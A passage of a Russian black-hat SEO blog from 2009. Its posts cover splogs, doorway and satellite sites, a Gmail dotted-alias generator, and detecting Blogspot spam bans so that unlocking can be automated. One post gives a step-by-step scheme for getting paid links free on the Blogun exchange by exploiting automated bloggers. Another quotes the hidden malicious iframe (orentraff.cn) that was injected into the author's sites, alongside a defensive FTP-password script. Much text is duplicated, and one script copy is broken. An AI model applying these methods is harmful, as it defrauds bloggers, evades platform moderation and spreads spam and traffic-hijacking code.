В чем особенность таких автоматических аккаунтов? В том, что если рекламодатель отправил задание на исправление, то задание возвращается неисправленным, с постовым на той же странице блога что и прежде, либо блогер автоматически отказывается от задания и присылает заявку заново, как бы в первый раз.
В большинстве случаев происходит автоматический отказ от задания и присылка его заново. В этом случае предыдущие замечания рекламодателя не учитываются и переписка, если она была, уничтожается Блогуном. Соответственно блогер избегает отрицательных оценок (в Блогуне рекламодатели и блогеры могут оценивать друг друга и эти оценки видны другим участникам Блогуна), которые ему может выставить рекламодатель и сохраняет свой рейтинг, важный для контакта с другими рекламодателями.
Однако, отказавшись от задания после того как рекламодатель отправил задание на переделку, блогер не может удалить размещенный постовой в силу особенностей своего программного обеспечения (его постер не может редактировать уже размещенные посты).
Так оптимизатор получает бесплатный постовой со ссылкой. Пошаговый алгоритм выглядит следующим образом:
В чем особенность таких автоматических аккаунтов? В том, что если рекламодатель отправил задание на исправление, то задание возвращается неисправленным, с постовым на той же странице блога что и прежде, либо блогер автоматически отказывается от задания и присылает заявку заново, как бы в первый раз.
В большинстве случаев происходит автоматический отказ от задания и присылка его заново. В этом случае предыдущие замечания рекламодателя не учитываются и переписка, если она была, уничтожается Блогуном. Соответственно блогер избегает отрицательных оценок (в Блогуне рекламодатели и блогеры могут оценивать друг друга и эти оценки видны другим участникам Блогуна), которые ему может выставить рекламодатель и сохраняет свой рейтинг, важный для контакта с другими рекламодателями.
Однако, отказавшись от задания после того как рекламодатель отправил задание на переделку, блогер не может удалить размещенный постовой в силу особенностей своего программного обеспечения (его постер не может редактировать уже размещенные посты).
Так оптимизатор получает бесплатный постовой со ссылкой. Пошаговый алгоритм выглядит следующим образом:
- Регистрируемся в Блогуне как . Жми не бойся!
- Закидываем деньги в аккаунт рекламодателя с учетом 15% комиссии Блогуна.
- Во вкладке «Помощник» создаем нужные правила. Я обычно создаю правило о том, чтобы у блога в индексе Яндекса были какое-то количество страниц, например, более 100. Но можно этого и не делать.
- Создаем рекламную кампанию. Максимальную цену постового указываем в 0,1 доллара, максимальные цены обзоров устанавливаем в нули. Разрешаем блогерам отправлять заявки повторно (очень важный момент). Описываем задание так, чтобы можно было за что-нибудь зацепиться при оправке его на переделку. Самое простое – выставить требование о том, чтобы постовой был только один в посте или находился на странице, проиндексированной Яндексом. Остальные настройки кампании выставляйте по своему вкусу.
- Активируем кампанию и ждем предложений. Для простоты одобряем все предложения и ждем выполненных заданий.
- Все выполненные задания отправляем на переделку и пишем какой-нибудь сопроводительный текст.
- Если блогер возражает или исправляет задание – засчитываем ему это задание, а напротив блога ставим метку с примерно таким текстом: «Ручная модерация».
- Все прочие выполненные задания, которые не сопровождаются ответом снова направляем на переделку и так несколько раз. При большом числе возвратов оплачиваем постовой. Ставим метку «Автоматический блог» и добавляем такой блог в золотой список.
В итоге получаем либо много бесплатных ссылок, на тех блогах в которых автоматически производится отказ от задания, если оно возвращается рекламодателем на переделку, либо несколько ссылок (в постовых) в одном и том же блоге по цене как за одну.
пятница, 16 октября 2009 г.
Защита FTP в Total Commander'e
Достаточное количество веб-мастеров пострадало от ифреймов. Что такое ифрейм? Это обычная ссылка с html тэгом iframe, задачей которой является перенаправление трафика с вашего сайта на чужой. Я сам в свое время пострадал от ифрейма вида
<!-- ~ --><iframe src="http://orentraff.cn/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->
На тему этого ифрейма был топик на searchengines.ru и вроде даже обнаружили владельца сайта, указанного в ифрейме. Как вставляется ифрейм в чужие сайты? Обычно с помощью получения доступа по ftp, а доступ этот сводится к краже файлов с учетными записями ftp с вашего персонального компьютера. У меня ftp акки сперли, поскольку я решил разок поспамить с домашнего компьютера с выключенным антивирусом – прочитал где-то, что это якобы безопасно, спамилка вроде трояны не загрузит. Оказалось не так. Лишился почти всех своих дорвеев, за исключением некоторых, которые были сделаны Forum Generator'ом – там ифрейм при внедрении не уничтожал страницу и находился ниже моего редиректа. На некоторых фрихостах (например, на t35.com) не разрешено менять пароли доступа и сейчас я могу наблюдать то, что заливают на место моих бывших доров.
Как же защититься от кражи ftp акков? Способов довольно много. Вот известные мне:
После того как я потерял бóльшую часть своих дорвеев, я стал внимательнее относиться к безопасности компьютера. Сетевой экран и антивирус не выключаю и храню фал с паролями в другом месте, а когда надо копирую его в нужное место. То есть использую я пункты 1 и 9 из вышеприведенного списка. Пользуюсь я по-прежнему Total Commander'ом и встроенным в него ftp-менеджером, хотя именно оттуда у меня и украли пароли. Долгое время я вручную перебрасывал файл с ftp акками из одного каталога в другой и обратно, потом мне это надоело, и недавно я написал скрипт, который автоматизирует эту работу. Скрипт написан на языке autohotkey ( см. autohotkey.com ) и должен быть помещён в автозагрузку, чтобы он начинал работу при старте Windows.
Что вы должны сделать, чтобы использовать скрипт:
При желании можете скомпилировать скрипт прилагаемым к программе компилятором. Если вы программист, то можете добавить к скрипту какой-нибудь дополнительный функционал, например файл конфигурации, функцию переименования файла с ftp при перемещении его в сторонний каталог (в моем скрипте - D:\FT), функцию перемещения файла с ftp в случайный каталог.
Вот и сам код:
Как же защититься от кражи ftp акков? Способов довольно много. Вот известные мне:
- Не выключать антивирус и сетевой экран
- Спамить и производить другие «вирусоопасные» операции с отдельного компьютера
- То же что и п.1, но использовать не отдельный компьютер, а виртуальную машину
- То же что и п. 1, но использовать две разные операционные системы на одном компьютере
- Хранить файлы с конфиденциальной информацией на отдельном внешнем носителе (флэшка, CD, карта памяти и т.п.)
- Настроить на своих сайтах доступ по ftp только с определенного IP
- Всегда вбивать пароли и логины руками (не защищает от кейлоггеров), а не хранить их в файлах
- Использовать малораспространенные программы, под которые троянов обычно не пишут или не настраивают. Например, вместо Total Commander'a использовать Speed Commander или Frigate
- Хранить файл с паролями на своем компьютере, но не в том каталоге, в котором его использует программа, а в другом каталоге. В момент необходимости переносить файл с паролями в нужный для конкретной программы каталог, а по окончании работы переносить вручную обратно.
- Использовать программы, создающие мастер-пароль, т.е. пароль, с помощью которого шифруются файлы с конфиденциальной информацией, но который сам по себе на компьютере не хранится, а запоминается пользователем наизусть.
- Использовать самописные программы (в нашем случае – ftp-менеджеры), под которые трояны не настраиваются ввиду неизвестности этих программ.
- Использовать программы, которые используют файлы с паролями аналогично пунктам 2 – 4, т.е. на отдельной ЭВМ, отдельной операционной системе или на виртуальной машине.
- Не хранить пароли в браузерах или, по крайней мере, регулярно браузеры обновлять.
После того как я потерял бóльшую часть своих дорвеев, я стал внимательнее относиться к безопасности компьютера. Сетевой экран и антивирус не выключаю и храню фал с паролями в другом месте, а когда надо копирую его в нужное место. То есть использую я пункты 1 и 9 из вышеприведенного списка. Пользуюсь я по-прежнему Total Commander'ом и встроенным в него ftp-менеджером, хотя именно оттуда у меня и украли пароли. Долгое время я вручную перебрасывал файл с ftp акками из одного каталога в другой и обратно, потом мне это надоело, и недавно я написал скрипт, который автоматизирует эту работу. Скрипт написан на языке autohotkey ( см. autohotkey.com ) и должен быть помещён в автозагрузку, чтобы он начинал работу при старте Windows.
Что вы должны сделать, чтобы использовать скрипт:
- Скачать установщик языка autohotkey ( ) и установить autohotkey на свой компьютер.
- Скопировать код скрипта с моего блога в текстовый файл и сохранить этот файл с расширением .ahk. Название может быть любым.
- Прописать в скрипте путь к каталогу, к которому Total Commander обращается в поисках файла с ftp акками. У меня такой файл (wcx_ftp.ini) хранится в каталоге C:\Program Files\Total Commander\ .
- Прописать в скрипте путь к каталогу в котором вы будете хранить файл с ftp. В моем примере это каталог D:\FT
- Создать ярлык на на файл скрипта и поместить это ярлык в автозагрузку операционной системы.
При желании можете скомпилировать скрипт прилагаемым к программе компилятором. Если вы программист, то можете добавить к скрипту какой-нибудь дополнительный функционал, например файл конфигурации, функцию переименования файла с ftp при перемещении его в сторонний каталог (в моем скрипте - D:\FT), функцию перемещения файла с ftp в случайный каталог.
Вот и сам код:
;************************************************************
; AutoHotkey Version: 1.0.48.05
; Автор: harvik
; Имя скрипта: total.ahk
;************************************************************
; Назначение скрипта
; Хранение файла с ftp аккаунтами в месте, назначенном пользователем. Подгрузка этого файла в момент работы с ftp
; и возврат на место после завершения работы с ftp
;*************************************************************
;==========НАСТРОЙКИ ПОЛЬЗОВАТЕЛЯ ===========
;
Total_Path = C:\Program Files\Total Commander\ ; путь к каталогу, где Total Commander хранит файл с ftp
Total_Ftp = D:\FT\ ; путь к каталогу, где вы будете хранить файл c ftp аккаунтами
Ft = wcx_ftp.ini ; Название файла с ftp
;
; ========== КОНЕЦ НАСТРОЕК ПОЛЬЗОВАТЕЛЯ ========
; ========== Начало блока функций ===================
Sizes()
{
global
FileGetSize, size1, %Total_Path%%Ft%
FileGetSize, size2, %Total_Ftp%%Ft%
}
MoveTo() ; Перемещение файла с ftp аккаунтами в другой каталог
{
global Total_Path, Total_Ftp, Ft, size1, size2
Sizes()
IfExist, %Total_Path%%Ft%
{if size1 >= %size2% ;Сравнение размеров файлов с ftp в двух каталогах (папках)
FileMove, %Total_Path%%Ft%, %Total_Ftp%, 1
else FileDelete, %Total_Path%%Ft%
}
}
CopyFrom() ; Копирование файла с ftp аккаунтами в рабочий каталог Total Commander'а
{
global Total_Path, Total_Ftp, Ft, size1, size2
Sizes()
IfNotExist, %Total_Path%%Ft% OR size1 < %size2% ;Сравненние размеров файлов с ftp в двух каталогах (папках)
FileCopy, %Total_Ftp%%Ft%, %Total_Path%, 1
}
; ========== Конец блока функций ==============
#Persistent
Process, Priority,,L ; Установка низкого приоритета выполнения скрипта для снижения нагрузки на процессор.
IfNotExist, %Total_Ftp%
FileCreateDir, %Total_Ftp% ; Создание папки для хранения файла с ftp аккаунтами
TrayTip, Защита FTP акков, в Total Commander'е
Sleep, 5000
TrayTip
Begin:
MoveTo()
WinWait, ahk_class TTOTAL_CMD ;Ожидание загрузки Total Commander'а
IfWinExist, ahk_class TCONNECT
{
IfNotExist, %Total_Path%%Ft%
{
CopyFrom()
WinClose, ahk_class TCONNECT
WinWaitClose, ahk_class TCONNECT ; Пустое окошко "Соединение с FTP-сервером исчезает
IfWinExist, ahk_class TTOTAL_CMD
{
WinActivate, ahk_class TTOTAL_CMD ;
WinWaitActive, ahk_class TTOTAL_CMD
Send ^f ; Окошко "Соединение с FTP-сервером появляется уже со списком ваших FTP
Sleep, 5
}
}
}
else
WinWaitClose, ahk_class TCONNECT
Goto, Begin
; AutoHotkey Version: 1.0.48.05
; Автор: harvik
; Имя скрипта: total.ahk
;************************************************************
; Назначение скрипта
; Хранение файла с ftp аккаунтами в месте, назначенном пользователем. Подгрузка этого файла в момент работы с ftp
; и возврат на место после завершения работы с ftp
;*************************************************************
;==========НАСТРОЙКИ ПОЛЬЗОВАТЕЛЯ ===========
;
Total_Path = C:\Program Files\Total Commander\ ; путь к каталогу, где Total Commander хранит файл с ftp
Total_Ftp = D:\FT\ ; путь к каталогу, где вы будете хранить файл c ftp аккаунтами
Ft = wcx_ftp.ini ; Название файла с ftp
;
; ========== КОНЕЦ НАСТРОЕК ПОЛЬЗОВАТЕЛЯ ========
; ========== Начало блока функций ===================
Sizes()
{
global
FileGetSize, size1, %Total_Path%%Ft%
FileGetSize, size2, %Total_Ftp%%Ft%
}
MoveTo() ; Перемещение файла с ftp аккаунтами в другой каталог
{
global Total_Path, Total_Ftp, Ft, size1, size2
Sizes()
IfExist, %Total_Path%%Ft%
{if size1 >= %size2% ;Сравнение размеров файлов с ftp в двух каталогах (папках)
FileMove, %Total_Path%%Ft%, %Total_Ftp%, 1
else FileDelete, %Total_Path%%Ft%
}
}
CopyFrom() ; Копирование файла с ftp аккаунтами в рабочий каталог Total Commander'а
{
global Total_Path, Total_Ftp, Ft, size1, size2
Sizes()
IfNotExist, %Total_Path%%Ft% OR size1 < %size2% ;Сравненние размеров файлов с ftp в двух каталогах (папках)
FileCopy, %Total_Ftp%%Ft%, %Total_Path%, 1
}
; ========== Конец блока функций ==============
#Persistent
Process, Priority,,L ; Установка низкого приоритета выполнения скрипта для снижения нагрузки на процессор.
IfNotExist, %Total_Ftp%
FileCreateDir, %Total_Ftp% ; Создание папки для хранения файла с ftp аккаунтами
TrayTip, Защита FTP акков, в Total Commander'е
Sleep, 5000
TrayTip
Begin:
MoveTo()
WinWait, ahk_class TTOTAL_CMD ;Ожидание загрузки Total Commander'а
IfWinExist, ahk_class TCONNECT
{
IfNotExist, %Total_Path%%Ft%
{
CopyFrom()
WinClose, ahk_class TCONNECT
WinWaitClose, ahk_class TCONNECT ; Пустое окошко "Соединение с FTP-сервером исчезает
IfWinExist, ahk_class TTOTAL_CMD
{
WinActivate, ahk_class TTOTAL_CMD ;
WinWaitActive, ahk_class TTOTAL_CMD
Send ^f ; Окошко "Соединение с FTP-сервером появляется уже со списком ваших FTP
Sleep, 5
}
}
}
else
{
MoveTo()
Goto, Begin
}
MoveTo()
Goto, Begin
}
WinWaitClose, ahk_class TCONNECT
Goto, Begin
воскресенье, 21 июня 2009 г.
Импорт базы Wordpress’a
Если у вас есть готовая база Wordpress'a в формате .xml, то ее легко можно импортировать в другой блог. К сожалению, на хостинге может стоять ограничение по размеру загружаемого файла или по времени выполнения скрипта. Это обычно имеет место на бесплатных хостингах или на очень дешевых тарифных планах.
В этом случае, если файл импорта Wordpress достаточно большой по размерам, то полностью его импортировать не удастся.
В этом случае для импорта базы на новый блог придется воспользоваться средствами MySQL. Как добавить записи из файла импорта к уже существующим на блоге записям я пока не разбирался, поскольку на Wordpress'e я делаю сателлиты и база импортируется на пустой, без записей блог.
Для импорта же записей на новый блог (сателлит) я пользовался следующими шагами:
В этом случае, если файл импорта Wordpress достаточно большой по размерам, то полностью его импортировать не удастся.
В этом случае для импорта базы на новый блог придется воспользоваться средствами MySQL. Как добавить записи из файла импорта к уже существующим на блоге записям я пока не разбирался, поскольку на Wordpress'e я делаю сателлиты и база импортируется на пустой, без записей блог.
Для импорта же записей на новый блог (сателлит) я пользовался следующими шагами:
- Привязываем нужный домен на удаленный сервер (хостинг)
- Создаем базу данных на удаленном сервере
- Создаем на Denwer'e тот же (domain.ru) домен, что и на удаленном сервере.
- Создаем на Denwer'e базу MySQL с тем же именем, что и на удаленном сервере.
- Устанавливаем Wordpress на Denwer'e, используя домен и базу из пунктов 3 и 4
- Импортируем на Denwer'e файл .xml с записями
- В панели управления (на Denwer’e) MySQL (phpMyAdmin) экспортируем базу, не сжимая ее в архив
- Используя копипаст (команды Ctrl+A, Ctrl+C, Ctrl+V) импортируем базу MySQL в phpMyAdmin на удаленном сервере. Импорт копипастом проводится во вкладке SQL, а не во вкладке "Импорт" в phpMyAdmin. Прошу обратить внимание, что надо использовать именно копипаст, иначе при подгрузке архива zip или gzip могут случиться сбои и записи не импортируются нужным образом.
- Берем файл wp-config.php от блога на Denwer’е и вносим в него изменения в соответствии с параметрами доступа к базе данных на удаленном сервере.
- Закачиваем измененный wp-config.php и остальные файлы wordpress'a на удаленный сервер.
- Всё, устанавливать дальше блог не надо. Он уже работает. Пароль и логин доступа к панели управления блогом такие же как на Denwer'e. Все записи импортированы.
среда, 3 июня 2009 г.
Wordpress, Awardspace и ссылки
Если при установке блога Wordpress на хостинге awardspace.com вы выбрали стиль ссылок в виде папки, т. е. вида http://domen.ru/nazvanie-posta/, то такие ссылки работать не будут и при нажатие на них посетитель будет перебрасываться на страницу хостинга с указанием на 404-у ошибку.
Для придания работоспособности таким ссылкам необходимо внести изменения в файл .htaccess, находящийся в папке domen.ru/wp-content/themes, а именно:
заменить строку RewriteRule . /index.php [L]
на строку RewriteRule . index.php [L] т. е. Просто убрать обратную косую черту (/).
----------------------
Нашелся более простой способ. Достаточно изменить вид ссылок на ссылки по умолчанию, вида p?= , а потом на ссылки в виде папки (т. е. вот так /%postname%/ ). После этого навигация по страницам работает нормально.
Для придания работоспособности таким ссылкам необходимо внести изменения в файл .htaccess, находящийся в папке domen.ru/wp-content/themes, а именно:
заменить строку RewriteRule . /index.php [L]
на строку RewriteRule . index.php [L] т. е. Просто убрать обратную косую черту (/).
----------------------
Нашелся более простой способ. Достаточно изменить вид ссылок на ссылки по умолчанию, вида p?= , а потом на ссылки в виде папки (т. е. вот так /%postname%/ ). После этого навигация по страницам работает нормально.
четверг, 23 апреля 2009 г.
Как определить блокировку на блогспоте
В статье "Как продлить жизнь сплогу" я уже написал вкратце о разблокировке блогов на блогспоте. Недавно получил отклик. У моего коллеги заблокировали блог на блогспоте. Блог находился на домене 2-го уровня. Контент был копипаст плюс немного уникальных статей. Постинг производился 1-2 раза в неделю руками. Тем не менее, блог был заблокирован. Спамом блог не продвигался. Т. е. блог практически белый. Тем не менее, блог был заблокирован администрацией блогспота. Критерии блокировки не понятны. Разблокирован блог был практически сразу (не позднее чем через час) же после подачи заявки на разблокирование, т. е. после нажатия соответствующей ссылки в админке. Мой коллега оказался наблюдательнее меня и благодаря ему стал известен дополнительный признак блокированности блога на блогспоте.
Сначала напомню первый признак блокированности. В админке аккаунта на блогспоте появляется текст:
"Этот блог заблокирован в связи с возможным нарушением Условий предоставления услуг Blogger. Вы не сможете публиковать новые сообщения, пока блог не будет пересмотрен и разблокирован.
Если вы не запросите пересмотр, блог будет удален в течение 20 дней.
Запросить рассмотрение для разблокирования"
Текст "Запросить рассмотрение для разблокирования" представляет собой ссылку вида http://www.blogger.com/unlock-blog.g?lockedBlogID=6677350657232233180&popup=true при нажатии на которую происходит разблокирование блога.
Второй признак блокированности состоит в том, что у блокированного и неблокированного блога на блогспоте различается текст файла robots.txt, который имеется у каждого блога.
Текст файла robots.txt неблокированного блога выглядит следующим образом:
-------------------------
User-agent: Mediapartners-Google
Disallow:
User-agent: *
Disallow: /search
Sitemap: http://otissima.blogspot.com/feeds/posts/default?orderby=updated
--------------------------
Текст файла robots.txt заблокированного блога будет выглядеть так:
--------------------------
User-agent: Mediapartners-Google
Disallow:
User-agent: *
Disallow: /search
Allow: /cse.xml
Disallow: /
------------------------
Каково практическое применение вышеуказанных признаков? Они пригодятся для создания софта для слежения за сеткой своих сплогов на блогспоте. Как видно из первого признака от предупреждения о блокировке до удаления блога проходит 20 дней, поэтому проверка сплогов может производится примерно один раз в 2-3 недели, что не должно вызвать бана IP с которого идет проверка.
Наиболее простой способ - проверка файла robots.txt на наличие определенного текста, например "disallow: /" или "sitemap". Это позволит обойтись без написания кода, ответственного за вход в админку сплога, хотя такой код все равно может понадобиться для модуля нажатия на ссылку разблокировки (текст "Запросить рассмотрение для разблокирования").
среда, 15 апреля 2009 г.
Адреса Gmail с точками
У адресов электронной почты сервиса gmail.com есть свойство, известное многим сеошникам, а именно то, что если в любой части адреса до знака @ вставить любое количество точек (кроме начала адреса и перед самим знаком @), то такой адрес будет считаться действительным и вся почта, отправленная на такой адрес, попадет на первоначальный адрес.
То есть все адреса типа l.ogin@gmail.com, log.in@gmail.com, logi….n@gmail.com, l.o…gi….n@gmail.com будут считаться действительными и почта, отправленная на эти адреса, попадет на ящик login@gmail.com . Недействительными будут только адреса вида .login@gmail.com, login.@gmail.com, .l.o..gin@gmail.com, log..in.@gmail.com и т. п.
То есть все адреса типа l.ogin@gmail.com, log.in@gmail.com, logi….n@gmail.com, l.o…gi….n@gmail.com будут считаться действительными и почта, отправленная на эти адреса, попадет на ящик login@gmail.com . Недействительными будут только адреса вида .login@gmail.com, login.@gmail.com, .l.o..gin@gmail.com, log..in.@gmail.com и т. п.
Данное свойство сервиса gmail.com очень полезно, поскольку избавляет от необходимости регистрировать множество почтовых ящиков
Вручную расставлять точки муторно, поэтому решил поискать программку или скрипт, которые бы сгенерили за меня список адресов с точками. Готового решения я не нашел, но нашел куски кода, из которых сделал свой скрипт на PHP. Данный скрипт создает список почтовых адресов Gmail, в которых нет соседствующих точек. Если вам понадобится еще и адреса с соседствующими точками, вида l.o..gi.n@gmail.com, просто возьмите любой из сгенерированных адресов с одиночными точками и прогоните такой адрес через скрипт еще один раз, а потом можно прогнать и адрес с двойными точками и т.д. Потом объедините новый файл с первым файлом (где имеются только одиночные точки) и удалите из объединенного файла одинаковые строки. Аналогично следует поступать и после генерации списка адресов из логина с двойными точками.
Скрипт работает на Денвере и сохраняет результаты в папку со скриптом в файл вида gmail_вашлогин.txt
Приведенный ниже код следует скопировать в текстовый файл и сохранить этот файл под именем index.php , а потом этот файл запускать на Денвере.
------------------------------------
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Генератор вариаций адресов Gmail с точками</title>
<style type="text/css">
<!--
.style4 {
font-size: 20px;
color: #3333CC;;
font-style: underlined;
}
.style5 {
font-size: 24px;
color: #FF0040;
}
.style6 {
font-size: 18px;
color: #009900;
font-style: italic;
}
-->
</style>
</head>
<body>
<table width="536" height="265" border="0" align="center" bordercolor="#333333">
<tr>
<td width="360" height="154" align="left" valign="bottom" bordercolor="#333333" class="style6">Введите свой логин на Gmail (часть адреса до знака @ ) </td>
</tr>
<tr>
<td><form id="form1" name="form1" method="post" action="index.php">
<input type="text" name="logn" />
<input type="submit" value="Нажать" />
<input type="reset" name="Submit" value="Сбросить" />
</form> </td>
</tr>
<tr>
<td> </td>
</tr>
</table>
<?php
ini_set("max_execution_time", 6000);
function add_dot($str){
if(strlen($str) > 1){
$ca = preg_split("//",$str);
array_shift($ca);
array_pop($ca);
$head = array_shift($ca);
$res = add_dot(join('',$ca));
$result = array();
foreach($res as $val){
$result[] = $head . $val;
$result[] = $head . '.' .$val;
}
return $result;
}
return array($str);
}
if ($_POST['logn'] == '')
{
echo '<table width="536" border="0" align="center">
<tr>
<td width="360" align="left" valign="bottom"><span class="style5">Вы не ввели данные!</span><br><br> </td>
</tr>
</table>';
}
if ($_POST['logn'] != '')
{
$logn = $_POST['logn'];
unset ($_POST['logn']);
$res = add_dot($logn);
$mlist = fopen('gmails_'.$logn.'.txt', 'w+');
foreach($res as $email)
{
fwrite($mlist, $email."@gmail.com\n");
}
fclose($mlist);
flush();
echo '<table width="536" border="0" align="center">
<tr>
<td width="360" align="left" valign="bottom"><span class="style4">Готово! Список адресов находится в файле gmails_';
echo $logn;
echo '.txt</span><br><br> </td>
</tr>
</table>';
}
unset ($logn);
?>
</body>
</html>
понедельник, 6 апреля 2009 г.
Вспомогательные сайты. Терминология. Дорвей.
Дорвей - сайт или веб-страница, предназначенная для сбора поискового трафика и его перенаправления на основной сайт.
Дорвей оптимизируется под определенные ключевые слова за счет читабельности текста, который генерируется автоматически (программно). Тем самым улучшаются оптимизационные характеристики текста в ущерб смыслу, чего нельзя допустить на основном сайте.
Дорвеи собирают поисковый трафик, попадая в выдачу поисковых машин. Действует правило: чем меньше номер позиции сайта (в том числе и дорвея) выдаче поисковой машины, тем больше поискового трафика данный сайт привлечет. Меньший номер позиции сайта в выдаче обычно называется "более высокой позицией". На такую позицию дорвеи проталкиваются путем применения ссылочного спама (линкспама), т. е. массового размещения ссылок на дорвей на чужих веб-страницах, допускающих размещения ссылок. Обычно линкспам осуществляется автоматически с помощью специальных программ.
Дорвеи бывают редиректные и безредиректные. Редиректный дорвей - это дорвей, попав на который, пользователь немедленно или спустя несколько секунд автоматически перенаправляется на основной сайт. Безредиректные дорвеи перенаправляют трафик путем привлечения внимания посетителя к ссылкам на основной сайт, обычно с помощью баннеров или крупноразмерного и выделенного текста.
Дорвей оптимизируется под определенные ключевые слова за счет читабельности текста, который генерируется автоматически (программно). Тем самым улучшаются оптимизационные характеристики текста в ущерб смыслу, чего нельзя допустить на основном сайте.
Дорвеи собирают поисковый трафик, попадая в выдачу поисковых машин. Действует правило: чем меньше номер позиции сайта (в том числе и дорвея) выдаче поисковой машины, тем больше поискового трафика данный сайт привлечет. Меньший номер позиции сайта в выдаче обычно называется "более высокой позицией". На такую позицию дорвеи проталкиваются путем применения ссылочного спама (линкспама), т. е. массового размещения ссылок на дорвей на чужих веб-страницах, допускающих размещения ссылок. Обычно линкспам осуществляется автоматически с помощью специальных программ.
Дорвеи бывают редиректные и безредиректные. Редиректный дорвей - это дорвей, попав на который, пользователь немедленно или спустя несколько секунд автоматически перенаправляется на основной сайт. Безредиректные дорвеи перенаправляют трафик путем привлечения внимания посетителя к ссылкам на основной сайт, обычно с помощью баннеров или крупноразмерного и выделенного текста.
четверг, 2 апреля 2009 г.
Доводка сателлитов от vipbablo
Один из имеющихся на рынке генераторов сателлитов (точнее говносайтов) - программа vipbablo. Что касается ее эффективности, то тут ничего особо положительного сказать не могу - по отзывам коллег в индекс Яндекса сателлиты, сделанные этой программой попадают, но не всегда. Держатся один-два апа и потом благополучно из индекса исчезают. Редкие экземпляры остаются в индексе надолго. Тем не менее, использовать программу можно, так как если вовремя (т.е. на момент нахождения сателлита в индексе) подсунуть сателлит в сапу, то даже если он потом выпадет из индекса, то в сапе на некоторое время останется, и будет приносить копеечку. Так что при некотором везении доход с "випбабловских" сателлитов получить можно. В целях минимизации расходов на сателлиты иногда целесообразно размещать их на фрихостах. Выделенный IP под каждый сателлит на таких хостингах конечно не прикрутишь, но индексации это обычно не мешает. Потом уже можно перенести сателлит на свой, платный хостинг. С учетом того, что нулевой сателлит на 50-60 страниц приносит 0,2-0,3 доллара в день (6-9 долларов в месяц) и не сразу, а месяца через два после заливки на хостинг, то первоначальная экономия на хостинге и выделенном IP представляется достаточно разумным решением.
Не на всех фрихостах (разумеется, с поддержкой PHP) "випбабловские" сателлиты будут работать в неизменном виде. Иногда придется "поработать напильником". О некоторых нюансах расскажу на примере двух фрихостов, funpic.de и awardspace.com. Оба хостинга дают возможность использовать собственные домены.
На funpic.de сателлит можно заливать практически в неизменном виде. Проблем никаких не возникает, кроме неправильного отображения кодировки текста. Русский текст отображается крякозябрами и приходится настраивать отображение кодировки в браузере. Это происходит потому, что на всем хостинге по умолчанию используется западноевропейская кодировка - хостинг-то немецкий.
Решение проблемы с кодировкой элементарно. В состав сателлита входит файл .htaccess.
В этом файле первой строкой прописываем команду
AddDefaultCharset Off .
После этого русский текст будет отображаться нормально.
На awardspace.com проблема сложнее. Если залить сателлит в неизменном виде, то он работать не будет вообще. Для придания работоспособности необходимо внести изменения в файлы index.php и .htaccess. В файле index.php две имеющиеся строки вида
define('_SAPE_USER', 'ваш_ID_в_sape.ru');
заменяем на строку вида
define('_SAPE_USER', '/home/www/yoursite.ru/ ваш_ID_в_sape.ru');
После подобных преобразований будет открываться главная страница сателлита, yoursite.ru , ссылки на остальные страницы работать не будут.
Чтобы "оживить" ссылки на другие страницы сателлита достаточно внести небольшое изменение в файл .htaccess, а именно поставить (правую) косую черту (/) перед index.php?q=$1 , т. е. заменить строку
RewriteRule ^(.*).html$ index.php?q=$1 [L,QSA]
на строку
RewriteRule ^(.*).html$ /index.php?q=$1 [L,QSA]
Теперь, после описанного изменения файлов index.php и .htaccess сателлиты, сделанные генератором vipbablo будут работать на бесплатном хостинге awardspace.com. Не забудьте только вместе с сателлитом закачать на хостинг папку с файлом sape.php.
Не на всех фрихостах (разумеется, с поддержкой PHP) "випбабловские" сателлиты будут работать в неизменном виде. Иногда придется "поработать напильником". О некоторых нюансах расскажу на примере двух фрихостов, funpic.de и awardspace.com. Оба хостинга дают возможность использовать собственные домены.
На funpic.de сателлит можно заливать практически в неизменном виде. Проблем никаких не возникает, кроме неправильного отображения кодировки текста. Русский текст отображается крякозябрами и приходится настраивать отображение кодировки в браузере. Это происходит потому, что на всем хостинге по умолчанию используется западноевропейская кодировка - хостинг-то немецкий.
Решение проблемы с кодировкой элементарно. В состав сателлита входит файл .htaccess.
В этом файле первой строкой прописываем команду
AddDefaultCharset Off .
После этого русский текст будет отображаться нормально.
На awardspace.com проблема сложнее. Если залить сателлит в неизменном виде, то он работать не будет вообще. Для придания работоспособности необходимо внести изменения в файлы index.php и .htaccess. В файле index.php две имеющиеся строки вида
define('_SAPE_USER', 'ваш_ID_в_sape.ru');
заменяем на строку вида
define('_SAPE_USER', '/home/www/yoursite.ru/ ваш_ID_в_sape.ru');
После подобных преобразований будет открываться главная страница сателлита, yoursite.ru , ссылки на остальные страницы работать не будут.
Чтобы "оживить" ссылки на другие страницы сателлита достаточно внести небольшое изменение в файл .htaccess, а именно поставить (правую) косую черту (/) перед index.php?q=$1 , т. е. заменить строку
RewriteRule ^(.*).html$ index.php?q=$1 [L,QSA]
на строку
RewriteRule ^(.*).html$ /index.php?q=$1 [L,QSA]
Теперь, после описанного изменения файлов index.php и .htaccess сателлиты, сделанные генератором vipbablo будут работать на бесплатном хостинге awardspace.com. Не забудьте только вместе с сателлитом закачать на хостинг папку с файлом sape.php.
вторник, 31 марта 2009 г.
Как продлить жизнь сплогу.
Многие делают сплоги на блогспоте. Проблема с автонаполнением этих сплогов решается по-разному, то ли подпиской на рассылки, то ли использование служб RSS to email, то ли применением собственных скриптов, берущих контент из других источников.
Основной проблемой остается то, что при высокой частоте постинга сплог попадает в число подозрительных и его удаляют. Однако удаляют не сразу, сначала блог блокируется и владельцу блога дается несколько (кажется 20) дней на подачу заявки на разблокирование.
По моему опыту разблокирование происходит автоматически по факту подачи заявки на разблокирование. И это логично - если заявка подана, то за блогом следит человек, а не автомат. Сам сплог при этом не изучается, так как у меня были разблокированы откровенные сплоги с автонаполнением по электронной почте службами подписки. Частота постинга составляла 20-40 постов в сутки.
Отсюда вывод. Кроме технических средств автонаполнения сплогов необходимы средства слежения за блокировкой сплогов и средства автоматической подачи заявки на разблокирование. При наличие таких средств сплоги должны жить вечно.
Основной проблемой остается то, что при высокой частоте постинга сплог попадает в число подозрительных и его удаляют. Однако удаляют не сразу, сначала блог блокируется и владельцу блога дается несколько (кажется 20) дней на подачу заявки на разблокирование.
